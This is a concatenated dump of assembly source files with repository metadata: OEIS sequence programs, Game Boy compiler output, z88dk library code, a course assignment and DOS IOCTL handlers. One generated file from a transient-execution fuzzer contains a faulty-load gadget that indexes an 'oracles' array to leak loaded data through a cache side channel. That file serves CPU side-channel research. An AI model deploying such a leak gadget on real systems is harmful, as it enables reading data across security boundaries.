] | null | null | null | programs/oeis/010/A010892.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/010/A010892.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A010892: Inverse of 6th cyclotomic polynomial. A period 6 sequence.
; 1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1,-1,0,1,1,0,-1
mov $3,8
lpb $3,1
add $0,1
add $5,1
mul $5,2
mov $6,$5
gcd $6,$0
mul $0,$6
mul $0,2
mov $3,$1
lpe
lpb $4,3
lpb $0,1
sub $0,6
lpe
mov $5,1
lpe
mov $1,$0
div $1,2
| 36.652174 | 584 | 0.467378 |
fda352aebb6b2773d1474a6f39f96588d1e6219d | 3,544 | asm | Assembly | main.asm | Kenneth-Sweet/GameBoyCProj | cccb47969b6beb275a286bdb5d4412cc28431978 | [
"MIT"
] | null | null | null | main.asm | Kenneth-Sweet/GameBoyCProj | cccb47969b6beb275a286bdb5d4412cc28431978 | [
"MIT"
] | null | null | null | main.asm | Kenneth-Sweet/GameBoyCProj | cccb47969b6beb275a286bdb5d4412cc28431978 | [
"MIT"
] | null | null | null | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.6 #12539 (MINGW32)
;--------------------------------------------------------
.module main
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _main
.globl _set_sprite_data
.globl _delay
.globl _SampleSmile
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
_SampleSmile::
.ds 32
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
;main.c:5: void main(){
; ---------------------------------
; Function main
; ---------------------------------
_main::
;main.c:7: UINT8 currentSpriteIndex = 0;
ld c, #0x00
;main.c:8: set_sprite_data(0,2, SampleSmile);
ld de, #_SampleSmile
push de
ld hl, #0x200
push hl
call _set_sprite_data
add sp, #4
;c:/gbdk/include/gb/gb.h:1447: shadow_OAM[nb].tile=tile;
ld hl, #(_shadow_OAM + 2)
ld (hl), #0x00
;c:/gbdk/include/gb/gb.h:1520: OAM_item_t * itm = &shadow_OAM[nb];
ld hl, #_shadow_OAM
;c:/gbdk/include/gb/gb.h:1521: itm->y=y, itm->x=x;
ld a, #0x4e
ld (hl+), a
ld (hl), #0x58
;main.c:11: SHOW_SPRITES;
ldh a, (_LCDC_REG + 0)
or a, #0x02
ldh (_LCDC_REG + 0), a
;main.c:12: while(1){
00105$:
;main.c:13: if(currentSpriteIndex==0){
ld a, c
or a, a
;main.c:14: currentSpriteIndex=1;
;main.c:17: currentSpriteIndex = 0;
ld c, #0x01
jr Z, 00103$
ld c, #0x00
00103$:
;c:/gbdk/include/gb/gb.h:1447: shadow_OAM[nb].tile=tile;
ld hl, #(_shadow_OAM + 2)
ld (hl), c
;main.c:20: delay(1000);
push bc
ld de, #0x03e8
push de
call _delay
pop hl
pop bc
;c:/gbdk/include/gb/gb.h:1536: OAM_item_t * itm = &shadow_OAM[nb];
ld de, #_shadow_OAM+0
;c:/gbdk/include/gb/gb.h:1537: itm->y+=y, itm->x+=x;
ld a, (de)
ld (de), a
inc de
ld a, (de)
add a, #0x0a
ld (de), a
;main.c:21: scroll_sprite(0,10,0);
;main.c:23: }
jr 00105$
.area _CODE
.area _INITIALIZER
__xinit__SampleSmile:
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x77 ; 119 'w'
.db #0x77 ; 119 'w'
.db #0x77 ; 119 'w'
.db #0x55 ; 85 'U'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x63 ; 99 'c'
.db #0x41 ; 65 'A'
.db #0x7f ; 127
.db #0x7f ; 127
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x77 ; 119 'w'
.db #0x77 ; 119 'w'
.db #0x77 ; 119 'w'
.db #0x55 ; 85 'U'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x7f ; 127
.db #0x7f ; 127
.db #0x7f ; 127
.db #0x41 ; 65 'A'
.db #0x00 ; 0
.db #0x00 ; 0
.area _CABS (ABS)
| 24.611111 | 66 | 0.430587 |
baae497b1e0867931eb07e4c1e4b909a34055de4 | 1,271 | asm | Assembly | programs/oeis/128/A128470.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/128/A128470.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/128/A128470.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A128470: a(n) = 30*n + 1.
; 1,31,61,91,121,151,181,211,241,271,301,331,361,391,421,451,481,511,541,571,601,631,661,691,721,751,781,811,841,871,901,931,961,991,1021,1051,1081,1111,1141,1171,1201,1231,1261,1291,1321,1351,1381,1411,1441,1471,1501,1531,1561,1591,1621,1651,1681,1711,1741,1771,1801,1831,1861,1891,1921,1951,1981,2011,2041,2071,2101,2131,2161,2191,2221,2251,2281,2311,2341,2371,2401,2431,2461,2491,2521,2551,2581,2611,2641,2671,2701,2731,2761,2791,2821,2851,2881,2911,2941,2971,3001,3031,3061,3091,3121,3151,3181,3211,3241,3271,3301,3331,3361,3391,3421,3451,3481,3511,3541,3571,3601,3631,3661,3691,3721,3751,3781,3811,3841,3871,3901,3931,3961,3991,4021,4051,4081,4111,4141,4171,4201,4231,4261,4291,4321,4351,4381,4411,4441,4471,4501,4531,4561,4591,4621,4651,4681,4711,4741,4771,4801,4831,4861,4891,4921,4951,4981,5011,5041,5071,5101,5131,5161,5191,5221,5251,5281,5311,5341,5371,5401,5431,5461,5491,5521,5551,5581,5611,5641,5671,5701,5731,5761,5791,5821,5851,5881,5911,5941,5971,6001,6031,6061,6091,6121,6151,6181,6211,6241,6271,6301,6331,6361,6391,6421,6451,6481,6511,6541,6571,6601,6631,6661,6691,6721,6751,6781,6811,6841,6871,6901,6931,6961,6991,7021,7051,7081,7111,7141,7171,7201,7231,7261,7291,7321,7351,7381,7411,7441,7471
mov $1,$0
mul $1,30
add $1,1
| 181.571429 | 1,212 | 0.778914 |
6064637b56dc41e8dce9e866224a4d631b0c29e3 | 343 | asm | Assembly | libsrc/adt/linkedlist/adt_ListConcat.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/adt/linkedlist/adt_ListConcat.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/adt/linkedlist/adt_ListConcat.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | ; void adt_ListConcat(struct adt_List *list1, struct sp_List *list2)
; CALLER linkage for function pointers
PUBLIC adt_ListConcat
EXTERN adt_ListConcat_callee
EXTERN ASMDISP_ADT_LISTCONCAT_CALLEE
.adt_ListConcat
pop bc
pop hl
pop de
push de
push hl
push bc
jp adt_ListConcat_callee + ASMDISP_ADT_LISTCONCAT_CALLEE
| 18.052632 | 68 | 0.781341 |
73cf4edaab7e32e4eaef62e17d6129730330c952 | 2,343 | asm | Assembly | 3rd Year/Computer Architecture II/t3.asm | DanielNugent/College | 6b6807fd35334eb4bbcc65f800c5f5137f96be68 | [
"MIT"
] | 1 | 2020-03-13T12:20:39.000Z | 2020-03-13T12:20:39.000Z | 3rd Year/Computer Architecture II/t3.asm | DanielNugent/College | 6b6807fd35334eb4bbcc65f800c5f5137f96be68 | [
"MIT"
] | null | null | null | 3rd Year/Computer Architecture II/t3.asm | DanielNugent/College | 6b6807fd35334eb4bbcc65f800c5f5137f96be68 | [
"MIT"
] | 1 | 2020-05-12T14:01:07.000Z | 2020-05-12T14:01:07.000Z | add r0, #4, r9 ; int_inp = 4
max: ; int max(int a, int b, int c)
add r0, r26, r1 ; r1 = v = a
sub r27, r1, r0, {C} ; if(b > v) then v = b
jle max_1 ;
xor r0, r0, r0 ; no operation
add r0, r27, r1 ;
max_1:
sub r28, r1, r0, {C} ; if(c > v) then v = c
jle max_2 ;
xor r0, r0, r0 ;
add r0, r28, r1 ;
max_2:
ret r31, 0
xor r0, r0, r0 ; no operation
max5: ; int p(int i, int j, int k, int l)
add r0, r9, r10 ; r10 = r9 = int_inp = param 1
add r0, r26, r11 ; r11 = i = param 2
callr r31, max ; r1 = max(r10, r11, r12) / max(int_inp, i, j)
add r0, r27, r12 ; r12 = j = param 3
add r0, r1, r10 ; r10 = max(int_inp, i, j) = param 1
add r0, r28, r11 ; r11 = k = param 2
callr r31, max ; r1 = max((int_inp, i, j), k, l)
add r0, r29, r12 ; r12 = l = param 3
ret r31, 0
xor r0, r0, r0 ; no operation
fun: ; int fun(int a, int b)
sub r27, r0, r0, {C} ; if(b == 0) then return 0
jeq fun_3
add r0, r0, r1 ; r1 = 0
fun_1:
add r0, r27, r10 ; r10 = b = param 1
callr r31, mod ; r1 = mod(b, 2)
add r0, #2, r11 ; r11 = 2 = param 2
sub r1, r0, r0, {C} ; if(b % 2 == 0) then return fun(a + a, b / 2)
jne fun_2
add r0, r27, r10 ; r10 = b = param 1 (executed if jumped to fun_2 or not)
callr r31, divide ; r1 = divide(b, 2)
add r0, #2, r11 ; r11 = 2 = param 2
add r26, r26, r10 ; r10 = a + a = param 1
callr r31, fun ; r1 = fun(a + a, b / 2)
add r0, r1, r11 ; r11 = b / 2 = param 2
ret r31, 0
xor r0, r0, r0 ; no operation
fun_2:
add r0, #2, r11 ; r11 = 2 = param 2
callr r31, divide ; r1 = divide(b, 2)
add r26, r26, r10 ; r10 = a + a = param 1
callr r31, fun ; r1 = fun(a + a, b / 2)
add r0, r1, r11 ; r11 = b / 2 = param 2
add r1, r26, r1 ; r1 = fun(a + a, b / 2) + a
fun_3:
ret r31, 0
xor r0, r0, r0 ; no operation
| 32.09589 | 85 | 0.412292 |
eec0f318c6171fa0fcb44279c7d63593975f0751 | 1,925 | asm | Assembly | programs/oeis/059/A059570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/059/A059570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/059/A059570.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A059570: Number of fixed points in all 231-avoiding involutions in S_n.
; 1,2,6,14,34,78,178,398,882,1934,4210,9102,19570,41870,89202,189326,400498,844686,1776754,3728270,7806066,16311182,34020466,70837134,147266674,305718158,633805938,1312351118,2714180722,5607318414,11572550770,23860929422,49153514610,101170340750,208067304562,427587855246,878082202738,1801977389966,3695580748914,7574413435790,15515330747506,31763669246862,64993353997426,132918739002254,271701540019314,555131204068238,1133718656195698,2314349808509838,4722524609256562,9632699202986894,19640698374921330,40031996687737742,81565193251265650,166132786254111630,338270372011383922,688550343029089166,1401119884070820978,2850278164166927246,5796633120384425074,11785419824869991310,23955146817942264946,48678907972289094542,98895044617387318386,200864546580392895374,407878007852022307954,828053845086517650318,1680703348937981369458,3410598015405854876558,6919578665871494028402,14035922601862556607374,28465375743964250315890,57717812568406774834062,117009747297770098072690,237167738917453292954510,480631966478732779527282,973856910245117946291086,1972899775065540667055218,3996171459281690883056526,8093086736864600864005234,16387661110331639923794830,33178297493868156239158386,67162545534146065261454222,135936992161111636089183346,275097786507862283310916494,556643177387002588886932594,1126181563516561222304064398,2278153544518234533668527218,4607887924006693245457851278,9318937517953834847157296242,18844198375788566406797779854,38101043431338926238561934450,77027380222201439327056618382,155705347163450052353978735730,314711867764994452107688469390,636026082406177599014838934642,1285256858564732587628601861006,2596923104634219954455051705458,5246664984277949467305799377806,10598967518574918051402990689394,21409210137187874336388765246350
add $0,1
seq $0,66373 ; a(n) = (3*n-2)*2^(n-3).
mul $0,2
mov $1,4
add $1,$0
div $1,18
mov $0,$1
| 175 | 1,753 | 0.913247 |
8623fc8b539867d64900dcf90ff6c5cf200ec9be | 2,839 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21_40.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21_40.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21_40.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r8
push %rbp
push %rbx
push %rdx
lea addresses_normal_ht+0x381c, %rdx
nop
nop
nop
nop
and %rbp, %rbp
mov $0x6162636465666768, %r13
movq %r13, (%rdx)
inc %r13
lea addresses_D_ht+0x180c4, %r11
nop
nop
nop
nop
xor $56007, %rdx
movb (%r11), %r15b
nop
nop
and %r11, %r11
lea addresses_WT_ht+0xdc1c, %rbx
nop
nop
nop
nop
sub $43822, %r8
mov (%rbx), %r13w
nop
nop
xor %r8, %r8
lea addresses_WC_ht+0x1db2a, %r15
nop
nop
nop
nop
xor %rbx, %rbx
mov (%r15), %edx
nop
nop
nop
nop
nop
dec %r8
lea addresses_D_ht+0x719c, %r11
nop
and $2973, %r13
movb (%r11), %bl
nop
nop
nop
nop
dec %r15
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdx
// Store
lea addresses_US+0xf01c, %rbp
nop
nop
nop
nop
add $48190, %r12
mov $0x5152535455565758, %rax
movq %rax, (%rbp)
sub %rax, %rax
// Store
mov $0x2c3aa90000000894, %rbp
nop
xor $35837, %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm3
vmovups %ymm3, (%rbp)
inc %rcx
// Store
mov $0xd4, %r9
nop
nop
nop
nop
dec %rbp
movw $0x5152, (%r9)
nop
nop
nop
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_D+0x1f41c, %rbx
nop
nop
and $42632, %rdx
movups (%rbx), %xmm2
vpextrq $1, %xmm2, %rbp
lea oracles, %rax
and $0xff, %rbp
shlq $12, %rbp
mov (%rax,%rbp,1), %rbp
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 2}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'36': 21}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 18.555556 | 128 | 0.640719 |
a3a7d40c8fb2817daa7f78effad69088fad6f64c | 604 | asm | Assembly | oeis/224/A224336.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/224/A224336.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/224/A224336.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A224336: Number of idempotent 5X5 0..n matrices of rank 4.
; 155,805,2555,6245,12955,24005,40955,65605,99995,146405,207355,285605,384155,506245,655355,835205,1049755,1303205,1599995,1944805,2342555,2798405,3317755,3906245,4569755,5314405,6146555,7072805,8099995,9235205,10485755,11859205,13363355,15006245,16796155,18741605,20851355,23134405,25599995,28257605,31116955,34188005,37480955,41006245,44774555,48796805,53084155,57648005,62499995,67652005,73116155,78904805,85030555,91506245,98344955,105560005,113164955,121173605,129599995,138458405,147763355
add $0,2
pow $0,4
sub $0,1
mul $0,10
add $0,5
| 67.111111 | 495 | 0.834437 |
1bc8457b663148df6a0bfd65e029f27ce25dec46 | 139 | asm | Assembly | scripts/CeruleanCave2F.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | scripts/CeruleanCave2F.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | scripts/CeruleanCave2F.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | CeruleanCave2F_Script:
jp EnableAutoTextBoxDrawing
CeruleanCave2F_TextPointers:
dw PickUpItemText
dw PickUpItemText
dw PickUpItemText
| 17.375 | 28 | 0.877698 |
4fe8fe92d5fb0b9f048b5c707cbd2d62c90eef2c | 1,147 | asm | Assembly | programs/oeis/156/A156812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/156/A156812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/156/A156812.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A156812: a(n) = 225*n^2 - 199*n + 44.
; 44,70,546,1472,2848,4674,6950,9676,12852,16478,20554,25080,30056,35482,41358,47684,54460,61686,69362,77488,86064,95090,104566,114492,124868,135694,146970,158696,170872,183498,196574,210100,224076,238502,253378,268704,284480,300706,317382,334508,352084,370110,388586,407512,426888,446714,466990,487716,508892,530518,552594,575120,598096,621522,645398,669724,694500,719726,745402,771528,798104,825130,852606,880532,908908,937734,967010,996736,1026912,1057538,1088614,1120140,1152116,1184542,1217418,1250744,1284520,1318746,1353422,1388548,1424124,1460150,1496626,1533552,1570928,1608754,1647030,1685756,1724932,1764558,1804634,1845160,1886136,1927562,1969438,2011764,2054540,2097766,2141442,2185568
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $6,$0
mov $7,0
mov $8,2
lpb $8
mov $0,$6
sub $8,1
add $0,$8
sub $0,1
bin $0,2
mul $0,-5
mov $5,-5
mul $5,$0
mul $5,2
add $5,2
mov $3,$5
mov $9,$8
mul $9,$5
add $7,$9
lpe
min $6,1
mul $6,$3
mov $3,$7
sub $3,$6
mul $3,9
add $3,26
add $1,$3
lpe
mov $0,$1
| 29.410256 | 698 | 0.686138 |
0b50f65ab450a9b3ceab99052365e46e13aa2bac | 2,726 | asm | Assembly | ioctl/Cat08.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 1 | 2021-11-25T14:01:48.000Z | 2021-11-25T14:01:48.000Z | ioctl/Cat08.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | null | null | null | ioctl/Cat08.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 2 | 2021-11-05T06:48:43.000Z | 2021-12-06T08:07:38.000Z | ;/*!
; @file
;
; @ingroup fapi
;
; @brief DosDevIOCtl Category 8 Functions
;
; (c) osFree Project 2021, <http://www.osFree.org>
; for licence see licence.txt in root directory, or project website
;
; This is Family API implementation for DOS, used with BIND tools
; to link required API
;
; @author Yuri Prokushev (yuri.prokushev@gmail.com)
;
; Documentation: http://osfree.org/doku/en:docs:fapi:dosdevioctl
;
;*/
_DATA SEGMENT BYTE PUBLIC 'DATA' USE16
DSKTABLE1:
DW IODLOCK ; Function 00H Lock Drive - not supported for versions below DOS 3.2
DW IODUNLOCK ; Function 01H Unlock Drive - not supported for versions below DOS 3.2
DW IODREDETERMINE ; Function 02H Redetermine Media - not supported for versions below DOS 3.2
DW IODSETMAP ; Function 03H Set Logical Map - not supported for versions below DOS 3.2
DSKTABLE2:
DW IODBLOCKREMOVABLE ; Function 20H Block Removable - not supported for versions below DOS 3.2
DW IODGETMAP ; Function 21H Get Logical Map - not supported for versions below DOS 3.2
DSKTABLE3:
DW IODSETPARAM ; Function 43H Set Device Parameters - not supported for DOS 2.X and DOS 3.X
DW IODWRITETRACK ; Function 44H Write Track - not supported for DOS 2.X and DOS 3.X
DW IODFORMATTRACK ; Function 45H Format Track - not supported for DOS 2.X and DOS 3.X
DSKTABLE4:
DW IODGETPARAM ; Function 63H Get Device Parameters - not supported for DOS 2.X and DOS 3.X
DW IODREADTACK ; Function 64H Read Track - not supported for DOS 2.X and DOS 3.X
DW IODVERIFYTRACK ; Function 65H Verify Track - not supported for DOS 2.X and DOS 3.X.
_DATA ENDS
_TEXT SEGMENT BYTE PUBLIC 'CODE' USE16
;--------------------------------------------------------
; Category 8 Handler
;--------------------------------------------------------
IODISK PROC NEAR
MOV SI, [DS:BP].ARGS.FUNCTION
CMP SI, 00H ; 00H
JB EXIT
CMP SI, 03H ; 03H
JB OK1
SUB SI, 20H ; 20H
JB EXIT
CMP SI, 01H ; 21H
JBE OK2
SUB SI, 23H ; 43H
JB EXIT
CMP SI, 02H ; 45H
JBE OK3
SUB SI, 20H ; 63H
JB EXIT
CMP SI, 02H ; 65H
JBE OK4
OK1:
SHL SI, 1
; SHL SI, 1
CALL WORD PTR ES:DSKTABLE1[SI]
JMP EXIT
OK2:
SHL SI, 1
; SHL SI, 1
CALL WORD PTR ES:DSKTABLE2[SI]
JMP EXIT
OK3:
SHL SI, 1
; SHL SI, 1
CALL WORD PTR ES:DSKTABLE3[SI]
JMP EXIT
OK4:
SHL SI, 1
; SHL SI, 1
CALL WORD PTR ES:DSKTABLE4[SI]
EXIT:
RET
IODISK ENDP
INCLUDE IodLock.asm
INCLUDE IodUnLock.asm
INCLUDE IodRedetermine.asm
INCLUDE IodSetMap.asm
INCLUDE IodBlockRemovable.asm
INCLUDE IodGetMap.asm
INCLUDE IodSetParam.asm
INCLUDE IodWriteTrack.asm
INCLUDE IodFormatTrack.asm
INCLUDE IodGetParam.asm
INCLUDE IodReadTrack.asm
INCLUDE IodVerifyTrack.asm
_TEXT ENDS
| 26.211538 | 95 | 0.68562 |
500886cc2503a6fb73c2116de9c0a072e2dc67b6 | 422 | asm | Assembly | oeis/299/A299920.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/299/A299920.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/299/A299920.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A299920: Motzkin numbers (A001006) mod 6.
; Submitted by Christian Krause
; 1,1,2,4,3,3,3,1,5,1,4,2,1,3,0,0,3,3,0,0,3,3,3,3,3,1,2,4,1,5,1,3,3,3,4,2,1,1,5,1,3,3,0,0,3,3,0,0,3,3,0,0,3,3,3,3,3,3,0,0,3,3,0,0,3,3,0,0,3,3,3,3,3,3,0,0,3,3,0,4,5,1,4,2,1,3,3,3,1,5,4,4,5,1,3,3,3,3,0,0
seq $0,1006 ; Motzkin numbers: number of ways of drawing any number of nonintersecting chords joining n (labeled) points on a circle.
mod $0,6
| 60.285714 | 201 | 0.635071 |
f6ce5e61633cafff7ec54c3d2e632647f5696371 | 685 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fmul.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fmul.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fmul.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; float __fmul(float left, float right)
SECTION code_clib
SECTION code_fp_am9511
PUBLIC cam32_sccz80_fmul
EXTERN cam32_sccz80_switch_arg, cam32_sccz80_readl
EXTERN asm_am9511_fmul
; multiply two sccz80 floats
;
; enter : stack = sccz80_float left, sccz80_float right, ret
;
; exit : DEHL = sccz80_float(left*right)
;
; uses : af, bc, de, hl, af', bc', de', hl'
.cam32_sccz80_fmul
call cam32_sccz80_switch_arg
call cam32_sccz80_readl
jp asm_am9511_fmul ; enter stack = sccz80_float right, sccz80_float left, ret
; DEHL = sccz80_float right
; return DEHL = sccz80_float
| 26.346154 | 86 | 0.654015 |
616feced33981a0a207747cabcb1fd929d82c13c | 6,492 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1873.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
